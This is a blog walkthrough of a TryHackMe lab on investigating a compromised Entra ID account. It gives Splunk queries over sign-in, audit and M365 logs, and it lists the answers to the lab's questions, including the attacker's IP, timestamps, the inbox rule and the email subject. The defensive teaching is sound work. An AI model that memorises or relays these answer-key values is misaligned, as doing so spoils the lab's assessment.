  "conditionalAccessStatus": "success",
  "isInteractive": true,
  [...]
  "resourceDisplayName": "OfficeHome",
  "resourceId": "4765445b-32c6-49b0-83e6-1d93765276ca",
  "status": {
    "errorCode": 0, // The result of the authentication. Code 0 means successful.
    "failureReason": "Other.",
    "additionalDetails": null
 [...]
  "location": {  // Details about the location from the IP address used by the user.
    "city": "New York",
    "state": "New York",
    "countryOrRegion": "US",
    "geoCoordinates": {
      "altitude": null,
      "latitude": 40.7128,
      "longitude": -74.0060
    }
  },
  "appliedConditionalAccessPolicies": [ // Information about which access control policy was applied during the authentication process.
    {
      "id": "c63499f4-64b6-4943-bfc3-52fbb641ef10",
      "displayName": "Require MFA",
      "enforcedGrantControls": ["Block"],
      "enforcedSessionControls": [],
      "result": "notApplied"
    }
  ]
}
</code></pre>
<p>With this context, you can use the <code>errorCode</code> to find failure attempts and other relevant data:</p>
<table>
<thead>
<tr>
<th><strong>List all failed Sign-ins</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index="scenario" sourcetype="azure:aad:signin" "status.errorCode"!=0
| stats count as event_count values(ipAddress) as ip_addresses
 values(appDisplayName) as applications values(status.errorCode) as errorCodes  by userPrincipalName
| sort - event_count
| table applications, userPrincipalName, ip_addresses, errorCodes, event_count
</code></pre>
<p>Error codes are a big ally when analyzing suspicious authentication alerts. They can help you to understand the stage of a credential attack the attacker is in. Below are common error codes:</p>
<ul>
<li><p><code>50126</code>: Invalid username or password</p>
</li>
<li><p><code>50053</code>: Account locked due to too many failed attempts</p>
</li>
<li><p><code>50074</code>: MFA required but not provided</p>
</li>
<li><p><code>50055</code>: Password expired</p>
</li>
</ul>
<p>If you want to verify what an error code means, Microsoft has a useful <a href="https://login.microsoftonline.com/error">tool</a> to help you research it.</p>
<p>In the same query results, you can see that all failed attempts are from the same source IP in the <code>ipAddress</code> field. This is relevant information for further investigation into what this IP address has done in the tenant.</p>
<p>Now, you can filter the successful logins from this source and validate which account was compromised and the applications the attacker accessed by changing the <code>&lt;ADD-IPHERE&gt;</code> placeholder to the IP address you want to investigate in the following query:</p>
<table>
<thead>
<tr>
<th><strong>List all successful Sign-ins from an IP address</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=scenario sourcetype="azure:aad:signin" "status.errorCode"=0 ipAddress="&lt;ADD-IP-HERE&gt;"
| stats values(ipAddress) as ip_addresses values(appDisplayName) as applications  by userPrincipalName
| table applications, userPrincipalName, ip_addresses
</code></pre>
<p>You should see the exact account that the attacker compromised!</p>
<p><strong>Practice</strong></p>
<p>For this task, you will answer a couple of questions regarding this suspicious authentication.<br />With the filter <code>index=scenario sourcetype="azure:aad:signin"</code>, you will be able to see all Sign-in logs, but feel free to use any other queries you learned in this task.<br />Remember to search for <strong>All Time</strong> to find all log activity.</p>
<h3>Answer the questions below</h3>
<p>What is the email address of the compromised identity? <code>allan.smith@finegalo.thm</code></p>
<pre><code class="language-shell">index=scenario sourcetype="azure:aad:signin"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/80ea67ae-c0c2-47b0-90bb-cbbcdfa3f82a.png" alt="" style="display:block;margin:0 auto" />

<p>What is the IP address used by the attacker? <code>2804:2488:7082:a4c0:fd97:b11b:9895:49c0</code></p>
<ul>
<li>Based on the output of the previous question, you can find the IP address used by the attacker</li>
</ul>
<p>What is the city of the IP address used by the attacker? <code>Belo Horizonte</code></p>
<pre><code class="language-shell">index=scenario sourcetype="azure:aad:signin"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/cf875be8-a19c-4036-ada9-27aac1892d48.png" alt="" style="display:block;margin:0 auto" />

<p>When was the first successful sign-in in the compromised account after the failure attempts?</p>
<p>Answer Format: 1/12/25 1:15:00.000 PM<br />(Exact Splunk <code>Time</code> value) <code>2/11/26 6:16:53.000 PM</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/968b379f-6bba-49c9-a79b-6731345e8752.png" alt="" style="display:block;margin:0 auto" />

<p>What is the first application the attacker accessed after the office home page?</p>
<p>Answer Format: The exact value of the <code>appDisplayName</code> field. <code>One Outlook Web</code></p>
<pre><code class="language-shell">index=scenario sourcetype="azure:aad:signin"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/329c082c-9b4c-4f2f-9ad9-e15e750e898b.png" alt="" style="display:block;margin:0 auto" />

<h2>Entra ID Audit Logs</h2>
<p>After confirming a compromised account, the next step is to identify the changes the attacker made to it. This is where you should use <strong>Audit Logs</strong>.</p>
<p>Audit logs capture administrative actions and changes made within the Entra ID environment. Below are some examples of post-compromise activities an attacker can perform, and you can hunt with logs:</p>
<ul>
<li><p>Resetting passwords to maintain access</p>
</li>
<li><p>Adding new MFA methods or devices</p>
</li>
<li><p>Assigning privileged roles to escalate access</p>
</li>
<li><p>Modifying user attributes</p>
</li>
<li><p>Registering malicious applications</p>
</li>
</ul>
<h2><strong>Hunting for Post-Compromise Activity</strong></h2>
<p>Within the same Splunk instance, you can use the following query to filter for Entra ID audit logs and see account or environment changes:</p>
<table>
<thead>
<tr>
<th><strong>List all Audit logs</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=scenario sourcetype="azure:aad:audit"
</code></pre>
<p>Each event has its own particular properties, but you should pay additional attention to the fields below, since they appear in all events and can reveal what was changed, who changed, and the target:</p>
<ul>
<li><p><code>activityDisplayName</code>: The detailed activity or action that was performed by a user or app. All activities that generate logs are documented on this <a href="https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities">Microsoft page</a> (e.g., "Change user password", "Disable account").</p>
</li>
<li><p><code>initiatedBy</code>: The account or app that performed the action. When the source of the action is a user account, this field contains its email address. In the case of an app, it will have the app name.</p>
<pre><code class="language-js">initiatedBy: {
 app: {
   appId: null
   displayName: Microsoft password reset service // An app executed the change.
   servicePrincipalId: d6871dee-b91e-42a7-b98e-beeb5357dfff
   servicePrincipalName: null
 }
 user: null
 }
</code></pre>
</li>
<li><p><code>targetResources</code>: The account or object that has been changed or affected by an action.</p>
<pre><code class="language-js"> targetResources: [
 {
   displayName: null
   groupType: null
   id: d15f0e8c-80f7-41c0-b861-207d79cbb734
   modifiedProperties: [
 {
   displayName: ForceChangePassword
   newValue: "True"
   oldValue: "False"
 }
 {
   displayName: Password // The Resource that was changed
   newValue: null
   oldValue: null
 }
   ]
   type: User
   userPrincipalName: email@example.thm // The target identity
 }
 ]
</code></pre>
</li>
</ul>
<p>With that context, you can query specifically for the changes related to the compromised account you found in the previous task by using its user email address and changing the <code>&lt;ADD-USER-EMAIL&gt;</code> placeholder in the following queries:</p>
<table>
<thead>
<tr>
<th><strong>List changes targeting a specific user</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=scenario sourcetype="azure:aad:audit" targetResources{}.userPrincipalName="&lt;ADD-USER-EMAIL&gt;" 
| eval initiator=coalesce('initiatedBy.user.userPrincipalName', 'initiatedBy.app.displayName')
| sort - _time
| table _time, initiator, activityDisplayName, result, targetResources{}.userPrincipalName
</code></pre>
<table>
<thead>
<tr>
<th><strong>List changes performed by a user</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=scenario sourcetype="azure:aad:audit" initiatedBy.user.userPrincipalName="&lt;ADD-USER-EMAIL&gt;" 
| sort - _time
| table _time, initiatedBy.user.userPrincipalName, activityDisplayName, result, targetResources{}.userPrincipalName
</code></pre>
<p>You've now briefly learned how to leverage Entra ID logs to identify suspicious activity in a user account by checking its Sign-In logs and post-compromise activity using Audit logs.</p>
<p>In the next task, we'll explore Microsoft 365 (M365) logs to see what the attacker did after gaining access to cloud services like Outlook, Teams, and SharePoint.</p>
<p><strong>Practice</strong></p>
<p>For this task, you will answer a few questions about changes to the compromised account.<br />With the filter <code>index="scenario" sourcetype="azure:aad:audit"</code>, you will be able to see all Audit logs, but feel free to use any other queries you learned in this task.<br />Remember to search for <strong>All Time</strong> to find all log activity.</p>
<h3>Answer the questions below</h3>
<p>What was the first change made by the attacker in the compromised user account?</p>
<p>Answer Format: Paste the exact value of <code>activityDisplayName</code> <code>User started security info registration</code></p>
<pre><code class="language-shell">index=scenario sourcetype="azure:aad:audit"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/d284fb6b-9641-4c78-8105-2677e3ac99c9.png" alt="" style="display:block;margin:0 auto" />

<p>What is the <code>activityDisplayName</code> that reveals <strong>all</strong> the details of the modified properties in a user? <code>Update user</code></p>
<ul>
<li>This question and the next are answered using the previous query</li>
</ul>
<p>What is the second change made in the account?</p>
<p>Answer Format: Paste the exact value of the <code>activityDisplayName</code> field. <code>Reset password (self-service)</code></p>
<h2>M365 Introduction</h2>
<p>You've confirmed the account is compromised through Entra ID logs. Now, the investigation shifts to what the attacker did with that access. While Entra ID tells you who authenticated, <strong>Microsoft 365 logs tell you what they did after</strong>.</p>
<h2><strong>What is Microsoft 365?</strong></h2>
<p>Microsoft 365 (M365) is a collection of cloud-based productivity and collaboration services tied to Entra ID identities. Once a user authenticates through Entra ID, they gain access to services like:</p>
<ul>
<li><p><strong>Exchange Online (Outlook):</strong> Email, calendars, and mailbox management</p>
</li>
<li><p><strong>SharePoint Online:</strong> Document storage, file sharing, and team sites.</p>
</li>
<li><p><strong>OneDrive:</strong> Personal cloud storage.</p>
</li>
<li><p><strong>Teams:</strong> Chat, meetings, and collaboration.</p>
</li>
<li><p><strong>Other services:</strong> Power BI, Dynamics, and various Microsoft apps.</p>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1771009103968.png" alt="Screenshot of the M365 apps page." style="display:block;margin:0 auto" />

<h2><strong>Why M365 is a High-Value Target</strong></h2>
<p>For an attacker with valid credentials, M365 services provide:</p>
<ul>
<li><p><strong>Access to sensitive communications:</strong> Email contains business decisions, credentials, financial information, and confidential discussions.</p>
</li>
<li><p><strong>Document repositories:</strong> SharePoint and OneDrive store the company's intellectual property, customer data, and strategic plans.</p>
</li>
<li><p><strong>Persistence mechanisms:</strong> Mailbox rules, forwarding rules, and application permissions allow attackers to maintain access even after password changes.</p>
</li>
<li><p><strong>Further credential harvesting:</strong> Attackers can search for credentials, API keys, or sensitive information in emails and files.</p>
</li>
</ul>
<h2><strong>M365 Relevant Logs</strong></h2>
<p>M365 generates detailed audit logs for user and administrative actions across all services. These logs are centralized in the <strong>Unified Audit Log</strong>, which captures events from Exchange, SharePoint, OneDrive, Teams, and other M365 services.</p>
<p>Below are some key log categories relevant to investigations:</p>
<p><strong>Exchange (Mailbox) Logs:</strong></p>
<ul>
<li><p>Mailbox access and email operations (read, send, delete)</p>
</li>
<li><p>Mailbox rule creation (often used for persistence or email exfiltration)</p>
</li>
<li><p>Mailbox permission changes</p>
</li>
<li><p>Forwarding rule creation</p>
</li>
</ul>
<p><strong>SharePoint and OneDrive Logs:</strong></p>
<ul>
<li><p>File accessed, downloaded, or modified</p>
</li>
<li><p>File sharing and permission changes</p>
</li>
<li><p>Folder operations</p>
</li>
</ul>
<p><strong>General M365 Activity:</strong></p>
<ul>
<li><p>Application permissions granted</p>
</li>
<li><p>Service configurations changed</p>
</li>
<li><p>Administrative actions performed</p>
</li>
</ul>
<p>The complete reference for M365 audit logs can be found <a href="https://learn.microsoft.com/en-us/purview/audit-log-activities">here</a>.</p>
<h2>M365 Audit Logs</h2>
<h2><strong>Exploring M365 Logs</strong></h2>
<p>In the Splunk instance, you can filter M365 unified audit logs with:</p>
<table>
<thead>
<tr>
<th><strong>List all M365 Audit logs</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index="scenario" sourcetype="o365:management:activity"
</code></pre>
<p>Again, each event has its own specific structure, but below are key fields in M365 audit logs that appear in all log types:</p>
<ul>
<li><p><code>Operation</code>: The specific action performed (e.g., "New-InboxRule", "FileAccessed", "Send").</p>
</li>
<li><p><code>UserId</code>: The account that performed the action, usually an email address.</p>
</li>
<li><p><code>ClientIP</code> or <code>ClientIPAddress</code>: The source IP address (Note that sometimes this information can be an Office 365 IP address. Ensure you always check the registrant for ClientIP).</p>
</li>
<li><p><code>Workload</code>: The M365 service where the action occurred (Exchange, SharePoint, OneDrive).</p>
</li>
<li><p><code>ObjectId</code>: The target resource (email address, file path, mailbox).</p>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1771009784255.png" alt="Screenshot of Splunk query showing how Microsoft IPs can appear in M365 logs." style="display:block;margin:0 auto" />

<h2><strong>Hunting for Post-Compromise M365 Activities</strong></h2>
<p>For your investigation into M365 logs, identifying suspicious activities on the compromised account is essential. You will further explore these attackers' techniques in this module. For now, here are some common post-compromise activities you should be aware of:</p>
<p><strong>Mailbox Manipulation:</strong></p>
<ul>
<li><p>Creation of inbox rules to delete, forward, or move emails</p>
</li>
<li><p>Mass email deletion or moves to the deleted items</p>
</li>
<li><p>Emails sent to external addresses</p>
</li>
<li><p>Access from unusual IP addresses or locations</p>
</li>
</ul>
<p><strong>File Operations:</strong></p>
<ul>
<li><p>Mass file downloads from SharePoint or OneDrive</p>
</li>
<li><p>Access to sensitive or executive-level documents</p>
</li>
<li><p>File sharing to external domains</p>
</li>
<li><p>Downloads of files the user wouldn't normally access</p>
</li>
</ul>
<p>Below is an enhanced Splunk query that might help you as a starting point to identify what the attacker did with the user account you found in task 4 by replacing the <code>&lt;ADD-USER=EMAIL&gt;</code> placeholder:</p>
<table>
<thead>
<tr>
<th><strong>List actions performed by a user</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index="scenario" sourcetype="o365:management:activity" UserId="&lt;ADD-USER-EMAIL&gt;"
| sort - _time
| eval sourceIP=coalesce('ClientIP', 'ClientIPAddress')
| table _time, Operation, UserId, sourceIP, Workload, ObjectId
</code></pre>
<p><strong>Practice</strong></p>
<p>For this task, you will answer a few questions about the activities on the compromised account.<br />With the filter <code>index="scenario" sourcetype="o365:management:activity"</code>, you will be able to see all M365 audit logs, but feel free to use any other queries you learned in this task.<br />Remember to search for <strong>All Time</strong> to find all log activity.</p>
<h3>Answer the questions below</h3>
<p>What is the application used by the attacker?</p>
<p>Answer Format: Paste the exact value of the <code>Workload</code> field. <code>Exchange</code></p>
<pre><code class="language-shell">index="scenario" sourcetype="o365:management:activity"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/fc20ec31-3428-48ba-bd0b-402aae5d43d2.png" alt="" style="display:block;margin:0 auto" />

<p>What is the change made in the user application by the attacker?</p>
<p>Answer Format: Paste the exact value of the <code>Operation</code> field. <code>New-InboxRule</code></p>
<pre><code class="language-shell">index="scenario" sourcetype="o365:management:activity"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/0b78608f-060e-4744-92e5-a9f83b49fa0e.png" alt="" style="display:block;margin:0 auto" />

<p>What is the subject of the email message sent by the attacker? <code>URGENT: Approval for new internal VPN Access</code></p>
<pre><code class="language-shell">index="scenario" sourcetype="o365:management:activity"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/1a0fc0ac-b6ba-4690-89ef-a0773b341759.png" alt="" style="display:block;margin:0 auto" />

<p>When did the attacker access the response to the message?</p>
<p>Answer Format: 1/12/25 1:15:00.000 PM<br />(Exact Splunk <code>Time</code> value) <code>2/11/26 6:20:09.000 PM</code></p>
<pre><code class="language-shell">index="scenario" sourcetype="o365:management:activity" Operation=MailItemsAccessed
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a2c68fd7-ff53-43b6-83a0-c4c13a2b108c.png" alt="" style="display:block;margin:0 auto" />

<p>Which path was the response stored in?</p>
<p>Answer Format: \PathName <code>\Deleted Items</code></p>
<pre><code class="language-shell">index="scenario" sourcetype="o365:management:activity"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/deb2c033-8d4f-477b-902a-c12c1c50eb79.png" alt="" style="display:block;margin:0 auto" />

<h2>Conclusion</h2>
<p>Congratulations! You've completed your first investigation into a compromised cloud identity using Entra ID and M365 logs.</p>
<h2><strong>What You've Learned</strong></h2>
<ul>
<li><p>Learned why attackers target Entra ID and M365, and the common gaps they exploit.</p>
</li>
<li><p>Learned that the real power of these log sources lies in correlating them to build a complete timeline of an attack.</p>
</li>
<li><p>Understand that Entra ID Sign-in logs are the investigation starting point to identify:</p>
<ul>
<li><p>Suspicious authentication attempts.</p>
</li>
<li><p>If an attacker successfully authenticates.</p>
</li>
<li><p>The location from which the authentications are coming.</p>
</li>
</ul>
</li>
<li><p>Understand that Entra ID Audit logs help you to identify privilege escalation or persistence at the identity level.</p>
</li>
<li><p>Understand that M365 Audit logs help you to identify what the attacker did with legitimate access in the company's applications, such as Outlook, SharePoint, and others.</p>
</li>
</ul>
<p>In the next room, <a href="https://tryhackme.com/room/entraidmonitoring"><strong>Entra ID Monitoring</strong></a>, you'll learn about multiple common techniques attackers use when targeting Entra ID identities and how you can detect or prevent them.</p>
<p>What made this room click for me was how clearly it demonstrated that cloud identity investigations are fundamentally a log correlation exercise. Entra ID Sign-in logs told me <em>who authenticated and from where</em>. Audit logs told me <em>what changed at the identity level</em>. M365 logs told me <em>what the attacker did with that access</em> inbox rule creation, email access, the works.</p>
<p>None of those three sources alone would have told the full story. Together, they built a timeline from the first failed login attempt to the attacker reading a reply sitting in Deleted Items.</p>
<p>The next room in this path, Entra ID Monitoring, delves deeper into specific attack techniques and detection strategies, and I'm looking forward to applying the same log-correlation mindset to more complex scenarios.</p>
]]></content:encoded></item></channel></rss>